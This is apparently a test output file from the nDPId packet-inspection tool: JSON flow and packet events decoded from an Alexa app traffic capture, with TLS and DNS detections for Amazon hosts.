+00414{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":499565,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoumFAAEAGjKGsECrYNF7ohrJfAburivUSPCMzllAQAVf2PgAA"} +00414{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":499850,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoumJAAEAGjKCsECrYNF7ohrJfAburivUSPCMzy1AQAVf2CQAA"} +00498{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":500150,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjumNAAEAGjGSsECrYNF7ohrJfAburivUSPCMzy1AYAVf5oAAAFAMBAAEBFgMBADDA0tOeFpmMpXJArHJfzDEeAdxCbwhctWkDJ4\/AcSBVfFMlW9BPadbUTr5VYo5O1Bg="} +00423{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":502643,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAon6JAAOcGAGA0XuiGrBAq2AG7sl5u82R99bmeuFAQf\/ggEgAAAAAAAAAA"} +00535{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":502807,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9n6RAAOcGAAk0XuiGrBAq2AG7sl5u82R99bmeuFAYf\/jNrQAAFgMBAEoCAABGAwFY3n0pbDqO6chsJ3SoiJ8G0aBxUtUUc4QIfjuGKH\/QpiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":233,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1490976041384,"flow_last_seen":1490976041502,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45662,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":502885,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdn6ZAAOcGACc0XuiGrBAq2AG7sl5u82TS9bmeuFAYf\/hLQgAAFgMBADCMDbwz1N2klcG9R\/iPv\/mjvmP9rWFYOVWX087nrtQOXmgu6MtSemVy1T2TGAoU778="} +00414{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":505056,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07VAAEAGc02sECrYNF7ohrJeAbv1uZ64bvNk0lAQAVeeXgAA"} +00414{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":505343,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07ZAAEAGc0ysECrYNF7ohrJeAbv1uZ64bvNlB1AQAVeeKQAA"} +00497{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":521381,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj07dAAEAGcxCsECrYNF7ohrJeAbv1uZ64bvNlB1AYAVeQEAAAFAMBAAEBFgMBADDCb6Qkv0GjdZPHr7ikujbmXp0OhlvSxQw+7CwptxHqDJguNDmtgwQoB68VOlpAVtA="} +01954{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":536979,"pkt_caplen":1184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1184,"pkt_l4_len":1150,"pkt":"AMDKkaPvePiC0\/vCCABFAASSumRAAEAGiDSsECrYNF7ohrJfAburivVNPCMzy1AYAVdTewAAFwMBACAxTfms4wB8vtPCqdftXHT6QU4iyUIwZwtEQ17Ple0jhhcDAQRAmSrSoK2P4rNNyPxLKPQ0W4Jm6E0zmyT82fbYhBwLNFhRuut2fxlzrYKDZf\/NFqg\/thE7+T3mgxG\/asnkOEyjqtwP132REMH6glkfVsvvPaHaBV27Rta849o6DRn45mRqI15KiJ9r\/YzBKkexkpX\/jDwaTHIH3tY8HkeFAMRaxU4g4Zt5xpX48jZ3VmCCi7364i4Wd25GNDC2Q+4A7dcQCDVO+s6sGCybwDoAgTsWWy0tEjA4yXj5sUvZKsewfOqcvJrV\/FCfV6q2l+AxIGt\/DSA7XRZCoiUn5dOb0J8Zict+wQkVNelfLFaqil4WdyyRSaElOrdV3q7c+rhYZFFJI\/wOvufvo1d3uf1rjS\/3dtRWVvn0FQDZ57PlirlH1mmQbPQ\/Bhm34+V79LHyM0sQ4tO6Ax0344zy87NKQM90JAxjkCQ7hRqUUthp7KD\/STeEaIXyujkJzdj7PY63CLYoqDs7n1gVLiqLYQJQoMQRZ3QGaVgCU45I754\/629IfBZEuLn\/AJuFrXf2zJ5YhgwnWWNCGhg6yQfCskvj\/bE80+bd6St2XwLB8RU08h9NTmsBv0mQihJpjfi2WPzW82jGVS3u4Rx6RX6RDd+MhrEcY0hVtj9XFn4zAxgkOztYrbVWSxTV7vPFpJSxhan+ju6fIbKgcjlUwr0wugaaQLMaYsakWu+FPO4+IB09CFk\/MuVzBVFYks4I0ny9U1h1rTCWq32u8sMFBd9malyGwzUU99lWFFUXPqu67yP7BdH\/uDnCiGE8x1NdPl2Yj07ugi3PAR33Q79lUrfaOtXjLg3+JLyK4WNDoNHgsrIZBNCTDO9sKY3XKRGOBQprwQ9LEns24t9zxwJzMSQGLTNBXLFjZmgNdN+O\/OKjpTuEEBMjwakm5mtma3+OfmM6798a83mD\/4\/oeCt4tMKVNbUkyK9czYdNQimwbSFS5yWuIeXSwdh3Rf2ZZ\/\/9GxST72rjA9vOLFJWpqjyz4KPZ0\/ITGrn8i7P+pXjYEWJwxMqqkm0JXYwzPEJfytiPkYu9Ybh3wWWY1OoQjPSNwCEO+92GaeQGdz1Y0Crtgk4ZllC\/Mz9NOpImcAGoMk4gmarh72YjdBPHIRy3LyQSlpifSXI5V3uCvjlJe8aLuYlz0m1OyE5RdxoY4boo9Md+0Nnz8PIsL5Ba2vvDUvCCFusrLVfA4j+\/dJpNWL7DfU2C82B8v7Y0xHeAhNKbi5+oekt2i2Vb5VQTS6lv+Jcm+FRo2w0MMGITxDiKaFpETEAgF1z6cduCh8tPGhbQqsdjESvZVuRIwSGg10mShDusW1jLRdUhMw5fWvGqhSh02pfd736dm2M35c3JcE+0O40ZuAr6iO4V+o4mhkrL88zia5hZrpAtydnyd07IwegspGXsKheywQE+gtlDT7Q4pu117BkVMTICcYGEcKLC6Tv20qBXJibH0tV\/M8="} +01915{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":539050,"pkt_caplen":1152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1152,"pkt_l4_len":1118,"pkt":"AMDKkaPvePiC0\/vCCABFAARy07hAAEAGbwCsECrYNF7ohrJeAbv1uZ7zbvNlB1AYAVeX1gAAFwMBACD\/axf1V2xGWO2LEeHgsA0orIa6ceKGkns7zwYfCMwpqhcDAQQgqvjuHV3FuDKs0hj91Xc3KdauAQPJ1lry41HTa9WmQdod1QArztzawM9ERQGwI52sdTzhSA1mJQ3nxwop1rBb\/IVsATErzn1tQvCPaPkeW3Wq9rZznETH3YUQIGExc0pffBJA9QdLX+sdF5ZKL367Tdr8xFBsr0pEEquWpnq0vJkzOmfRilk8ALso756W9bx5dxuSxbm9poK0urq\/3hVLd5VHRJ+4+nxh61UNdBWlpt7+luRu55UQBRdXoiYhri3YeWiIC5X2uyps4zkinnHvH6W8+0idWgf4\/SGJ\/Syg\/vxsUCYf2LVkEA\/ET\/HLzJIRJJkFmq7JpWtGOxqangP64AjuZKP6CN7FrKMYdVHfnNo3MygSP2d0A23jz\/xZvdsMJCEEchXjwbpiWcRNsjufZu0CqXWj4rmy+pyit6Ve\/+uLLtvU66AxEzHsQixTRro6qakYFWsl2NdHwOzT35wO2eGz5mHVZ86jf32QAU3yRApZm4alQ5R9Ih9lnBxw+F3uA+JVpMa0b5KLv5mSXFFwPEabJxnDMfBaC3IhQt5dMrodlHTht8pnXTfecsmcNliHGylkMyQRMTjmb5iovMzG1T8+qTFoPmeUIKRsCbq1\/8AEwTFyzVqxJQzqYjLI4rorfg1r8vmxBfgk2tsJd8vrWt5rUiw7M0PXOp+dDcpMju9cM9B0Ei5ZIpLmD+xU9OcMMN6jlf8NwDm0ddALlN6KzqktoDnz0IwpFpMzzTDSjeBFRFdz4S8V4VL1Af3yTJ7CHFKl2UV2pt3d9hwAp4ENDP6ESw2S51r\/eXcAko8Q94mCdlOCw+lZAhy5FH4palQP5D9WQ2rdY\/d60bDY5dsdw1vYythF8NB8KsVS+o\/XhForzSQtzYa21ngv7ik3jNtrNB6wMhPuXit4ppzB5fNohFjM4i+U\/VTjezao1nFJIKeOk1X+dOGc81yPgMSppqqIJde6bepyucPoKDofPuc+bg\/7JGFaMkTAIZna6KpgZ+WmLEQd2bKR0CtsVRciI2HaSsMnTRDZVN0obHBCwqY\/rLuznMUj2bgHA1ZE\/QLilnyeMWnqlBrum6wbYRMKEQTkJddoJpxSXuNzQqN5q9UFm5cCQ\/x9\/T2X7XHetGr8f9Uu9YLTEzuPq88XMbvgE3PyVowE\/A\/CnqmFVWvTOyM9LSCvf1AjMQI1ypDj9MP2+neRFXvuIPw7Gm3J0xE\/yGZCppQh\/VLG\/ekJLsVeVAoWY2BrR0Bd+PRPYP9yxNSvmqNCxOm1L\/PJeKvnIpF+qc46U7WPTzu1RMF37w1S2lGIUUqgIx\/SZskRYMNCxxFu8C1U1\/wYx6O\/sh35MrEe+pSlfKygIZRMOv\/88KcRgpduVhgpmVSKhtu8ajRmhJD+F+GUlbEyxBuo6aACCNCcQ9fX"} +00424{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":546499,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoPMBAAOcGY0I0XuiGrBAq2AG7sl88IzPLq4r1TVAQf\/d3LgAAAAAAAAAA"} +00424{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":577958,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAojT9AAOcGEsM0XuiGrBAq2AG7sl5u82UH9bme81AQf\/cfTgAAAAAAAAAA"} +00423{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":585415,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoPtJAAOcGYTA0XuiGrBAq2AG7sl88IzPLq4r5t1AQf+Vy1gAAAAAAAAAA"} +01556{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":587892,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtPwFAAOcGXbw0XuiGrBAq2AG7sl88IzPLq4r5t1AY\/bhD2wAAFwMBA0A\/8NffyRTnj2A1Z2YQknDwiksDVoM9QgihIYarf3OQMqTmJVwKawnmu4kCXASuOytpZ0hYOZ8pC3YidcwJnzsh6F2ThnjSYYsLUXnGh4pzF5z9xFmKE45AFhbJt8KGSiV2iO\/Vpoe0PcqEApow+3RT6DTioTDA1fW2zM0gJVkWUjEt8hhVUafLIYg9I8B0waEdvaIaoBeilZANHE\/O0XzK6YNU3lvHdzlZPIGyTiLxq213\/nashX9NQboAr6e77lzjrYp9wFG40rOLi+cZLaMjxRS02I\/W47rh7yn80spqDVt4QSy759XdX\/85jq6x5Iq\/1dcrIw52qp6NdvGlies57YzsajgNjd3JyHOyd7RwIgTbDjjq35kBJAt9ToDjQYMWkHrbY2nli3BsvU6GJ\/tTQhCSymtqZtGENspXGL1cgjOpLQWP9MI\/sfz7Tv2QKUvicROXLvi8rDokBm6Qc0pov52roMRsZozxcB0V0tjNnmLeYxV2Vvfkkxq6CPkuxGomZWK\/QimXwBsLilQQ9OKmp0itHo7ZZ9byIjIzT1uNgKp+9579d\/gsa0LL3xEHrYSZLiZ2fH1SYtleoVNAYanIQDqzr0F5W4Et0rqwISAx\/FQz4MhiUufKYogD3lnr\/npdiNO5PGWPDw\/P6u\/CtYPmbNGG1LtUoovRDKB5HGlXNWNqNXGvtGiY8Sd+oCw28e\/5w4KKetgFAjCaVrJViOosbxwBG0n5jLkcq840GHBiI6bgk2sG\/+It1Kl79hkX6J+iijshKzIGQRa3IFm58exedHCyZZHIR1GstiXfOpPIjc9N8oXmOvtk1XHHWizGI4Sm\/ggb+fcXCoClIlmLWbBD77cHf8+rfuJp7M158hoexxmubwN5Z+OK9x1xy6jsaZIz5bb9jVmWmHwUYZHU9eX+egdCk105WtZOeqshWGJYdcvsrgy32OsObBEeZ4u82tBP9tO23+Xpa9jDK5+gsOsi9BdYKSI\/f5zJkBs61LQhrSOAdBAfN0f\/2DOo8mPf7IklljmoZm1LrsriB6HU0y8oYGibLsQjROVLrbUDIm9uClICjaKUKlUL2i7lSDTJyHL3hX\/5SG0Cp90Mv6AxXKmN"} +00423{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":596805,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAojlhAAOcGEao0XuiGrBAq2AG7sl5u82UH9bmjPVAQf+YbFQAAAAAAAAAA"} +01550{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":598595,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtjm1AAOcGDlA0XuiGrBAq2AG7sl5u82UH9bmjPVAY\/bgK4wAAFwMBA0Az2usVkOc6zj6ecIB6B7A+nXeAnDe7SZ8h4s7k6l3X1YzWlBE8ofhad4A3OsxMl5YdlfDTqyvXUvuqQfWo5CbRIX4MyF9svS5\/LLJIrY2vydXHPrfmPgl\/Dd6LmP9YjSZ2+cv1m2ajEvE0ZckF0eK9kqnc8LQEgLgVyLYTPnrKM0dZdrtAT+3LOYzJyy3fJB3bBhZuNcBmkS710f2+T2ztWcOPujw+y+nPpsO\/AFx4HebuNJCAoRX2UKdkdRH5i86aLWKoX18h3LEYhDMcRvjXlg2wBl2fUysWprNHHR0gTw\/nvTbqgHmsrMyAftC3eXk2FnAjkcIFKKek9gwo+qKUi+xs0vtPUFZhPFoAlGTLWNw+O0GNpKnNba85b2RfyQv81beiWvVcb193EPCLCdIvI3noe\/xhrSdoayQQATqHJ8aoVUl2EC+flHKEAli0ZgABGX1zT0hjQf27RK2QYLhVwbvvMLlv\/iqP8g7LcXmVwOY4aB+PuSZM3ICFUCvS+fEg0aXhy1kf+D3GVwklvu6QR8ZujkgkWA4AqcCEqbOLOmheNsq94Y8lbZWseipH8gIQLf3eBQyNPKCx4hG4nIbws9rwSimWe\/VlawLjimNj49tj7myBmKOSeG7BoUDOygIYLds5dEmaRRxtSux3eU7xrIKLtFhizwXr7tPB7g\/jglDvI7OmWsSqHD+b9caoelYKEfsv2lxZ\/t6AVpYStMeeL6qAojCU9ZH4S4rnCOv5GvoR4ciZ\/s1ZlQwkSKNCld0watQ8z0iKLXJJTWctKcJ8pygZWTEDBMAS7n8lnx3h2cxhmEzBYNA4dC8oOzIZrqngVW9a8YvdgEfrZPqpgo+txEtXFBrrk2w+MENx6GHDg+IFAeAm\/FZH3aC4pxsI62YoGIpVogfYldZcGbCCQW679bK2SCMg2HCpLHH8Nf\/3uiOp7kAfNxEcK7hL0NuCMqUGuW\/Dy2tIaZ2ffiPDSy97TUT\/AK9Ca1ChFwlXo6kO1N5FLctBitELRVLUiDDr7DOd+BpuJlucdTre\/4CmlM+sZHzgcG5UmYsDwb0nrrj29G66hkxxdHHsiwquapSx6BBUJekl8c7DqKDeFMkBpz2I"} +00415{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":629855,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoumVAAEAGjJ2sECrYNF7ohrJfAburivm3PCM3EFAQAV3uGQAA"} +00415{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":630136,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo07lAAEAGc0msECrYNF7ohrJeAbv1uaM9bvNoTFAQAV2WWQAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":248,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1490976041680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40202,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":680864,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzJAAEAGfuesECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9j3AAAAgQFtAQCCAoA9k6YAAAAAAEDAwg="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":249,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1490976041770,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":21391,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":770147,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"AMDKkaPvePiC0\/vCCABFAABVWlRAAEARM0qsECrYrBAqAVOPADUAQZgzlqMBAAABAAAAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQAB"} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":249,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1490976041770,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":21391,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":250,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1490976041806,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52077,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":806940,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WlVAAEARM2KsECrYrBAqActtADUAKHKAa+oBAAABAAAAAAAAA3d3dwZhbWF6b24DY29tAAABAAE="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":250,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1490976041806,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":52077,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00500{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":866893,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl0nZAAEARuxesECoBrBAq2AA1U48AUSKClqOBgAABAAEAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQABwAwAAQABAAAAOQAENu8Yug=="} +00693{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":251,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":34,"flow_packet_id":2,"flow_first_seen":1490976041770,"flow_last_seen":1490976041866,"flow_tot_l4_data_len":146,"flow_min_l4_data_len":65,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":21391,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.24.186"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1490976041870,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34019,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":870965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8YDpAAEAGs\/CsECrYNu8YuoTjAbvEzS6RAAAAAKAC\/\/9XzwAAAgQFtAQCCAoA9k6rAAAAAAEDAwg="} 